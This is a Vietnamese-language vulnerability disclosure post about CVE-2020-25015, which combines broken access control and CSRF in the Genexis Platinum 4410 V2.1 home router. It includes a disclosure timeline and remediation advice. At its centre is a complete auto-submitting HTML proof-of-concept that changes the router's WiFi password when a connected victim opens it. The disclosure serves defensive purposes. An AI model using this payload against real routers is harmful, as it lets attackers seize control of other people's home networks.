Computer >> Máy Tính >  >> Kết nối mạng >> An ninh mạng

Kiểm soát truy cập bị hỏng &CSRF trong Bộ định tuyến Genexis Platinum 4410 V2.1

Trong khi kiểm tra bộ định tuyến gia đình Genexis Platinum 4410 phiên bản 2.1 (phiên bản phần mềm P4410-V2-1.28), tôi có thể phát hiện ra rằng bộ định tuyến dễ bị hỏng bởi Kiểm soát truy cập bị hỏng và CSRF.

ID CVE: CVE-2020-25015

Tóm tắt

Platinum 4410 là một bộ định tuyến nhỏ gọn của Genexis được sử dụng phổ biến tại các gia đình. Phiên bản phần cứng V2.1 - Phiên bản phần mềm P4410-V2-1.28 dễ bị tấn công bởi Kiểm soát truy cập bị hỏng và CSRF có thể được kết hợp để thay đổi từ xa mật khẩu của điểm truy cập WIFI.

Để biết thêm thông tin về CSRF, vui lòng truy cập bài viết này.

Tác động

Kẻ tấn công có thể gửi cho nạn nhân một liên kết, nếu anh ta nhấp vào khi đang kết nối với mạng WIFI được thiết lập từ bộ định tuyến dễ bị tấn công, thì mật khẩu của điểm truy cập WIFI sẽ bị thay đổi thông qua khai thác CSRF. Vì bộ định tuyến cũng dễ bị tấn công bởi Kiểm soát truy cập bị hỏng, nạn nhân không cần phải đăng nhập vào trang thiết lập dựa trên web của bộ định tuyến (192.168.1.1), về cơ bản đây là một cuộc tấn công bằng một cú nhấp chuột.

Lỗ hổng bảo mật

Tốt nhất, cuộc tấn công này sẽ gây rắc rối vì để một cuộc tấn công CSRF thành công, nó yêu cầu nạn nhân phải đăng nhập vào ứng dụng đang bị tấn công (trong trường hợp này là trang thiết lập dựa trên web tại 192.168.1.1) và hầu hết trang thiết lập bộ định tuyến sẽ tự động kết thúc phiên người dùng. Ngoài ra, hiếm khi khách hàng truy cập trang thiết lập bộ định tuyến của họ. Tuy nhiên, do lỗ hổng kiểm soát truy cập bị hỏng trong phiên bản chương trình cơ sở mới nhất tại thời điểm báo cáo, yêu cầu thay đổi mật khẩu cũng có thể được gửi bởi các bên chưa được xác thực.

Do đó, khi kết hợp các lỗ hổng CSRF và Kiểm soát truy cập bị hỏng trên phiên bản chương trình cơ sở này, kẻ tấn công có thể tạo tài liệu HTML với mã sau và dụ người dùng gửi nó.

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
 <input type="hidden" name="wlEnbl" value="ON" />
 <input type="hidden" name="hwlKeys0" value="" />
 <input type="hidden" name="hwlKeys1" value="" />
 <input type="hidden" name="hwlKeys2" value="" />
 <input type="hidden" name="hwlKeys3" value="" />
 <input type="hidden" name="hwlgMode" value="9" />
 <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
 <input type="hidden" name="hwlEnbl" value="1" />
 <input type="hidden" name="hWPSMode" value="1" />
 <input type="hidden" name="henableSsid" value="1" />
 <input type="hidden" name="hwlHide" value="0" />
 <input type="hidden" name="isInWPSing" value="0" />
 <input type="hidden" name="WpsConfModeAll" value="7" />
 <input type="hidden" name="WpsConfModeNone" value="0" />
 <input type="hidden" name="hWpsStart" value="0" />
 <input type="hidden" name="isCUCSupport" value="0" />
 <input type="hidden" name="SSIDPre" value="N&#47;A" />
 <input type="hidden" name="bwControlhidden" value="0" />
 <input type="hidden" name="ht&#95;bw" value="1" />
 <input type="hidden" name="wlgMode" value="b&#44;g&#44;n" />
 <input type="hidden" name="wlChannel" value="0" />
 <input type="hidden" name="wlTxPwr" value="1" />
 <input type="hidden" name="wlSsidIdx" value="0" />
 <input type="hidden" name="SSID&#95;Flag" value="0" />
 <input type="hidden" name="wlSsid" value="JINSON" />
 <input type="hidden" name="wlMcs" value="33" />
 <input type="hidden" name="bwControl" value="1" />
 <input type="hidden" name="giControl" value="1" />
 <input type="hidden" name="enableSsid" value="on" />
 <input type="hidden" name="wlAssociateNum" value="32" />
 <input type="hidden" name="wlSecurMode" value="WPAand11i" />
 <input type="hidden" name="wlPreauth" value="off" />
 <input type="hidden" name="wlNetReauth" value="1" />
 <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
 <input type="hidden" name="cb&#95;enablshowpsw" value="on" />
 <input type="hidden" name="wlWpaGtkRekey" value="" />
 <input type="hidden" name="wlRadiusIPAddr" value="" />
 <input type="hidden" name="wlRadiusPort" value="" />
 <input type="hidden" name="wlRadiusKey" value="" />
 <input type="hidden" name="wlWpa" value="TKIPAES" />
 <input type="hidden" name="wlKeyBit" value="64" />
 <input type="hidden" name="wlKeys" value="" />
 <input type="hidden" name="wlKeys" value="" />
 <input type="hidden" name="wlKeys" value="" />
 <input type="hidden" name="wlKeys" value="" />
 <input type="hidden" name="WpsActive" value="0" />
 <input type="hidden" name="wpsmode" value="ap&#45;pbc" />
 <input type="hidden" name="pinvalue" value="" />
 <input type="hidden" name="Save&#95;Flag" value="1" />
 <input type="submit" value="Submit request" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>

Miễn là nạn nhân được kết nối với điểm truy cập WiFi được thiết lập bởi bộ định tuyến bị ảnh hưởng, mật khẩu của điểm truy cập sẽ được thay đổi như trong video bên dưới.

Dòng thời gian

  • Lỗ hổng bảo mật được báo cáo cho nhóm Genexis vào ngày 28 tháng 8 năm 2020
  • Nhóm đã xác nhận bản phát hành chương trình cơ sở có bản sửa lỗi vào ngày 14 tháng 9 năm 2020

Đề xuất

  • Theo nhóm Genexis, khách hàng nên liên hệ với ISP của họ để có quyền truy cập vào chương trình cơ sở mới nhất.
  • Sử dụng bộ định tuyến an toàn hơn nếu bạn không thể nâng cấp chương trình cơ sở.

Tham khảo

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
  • https://nvd.nist.gov/vuln/detail/CVE-2020-25015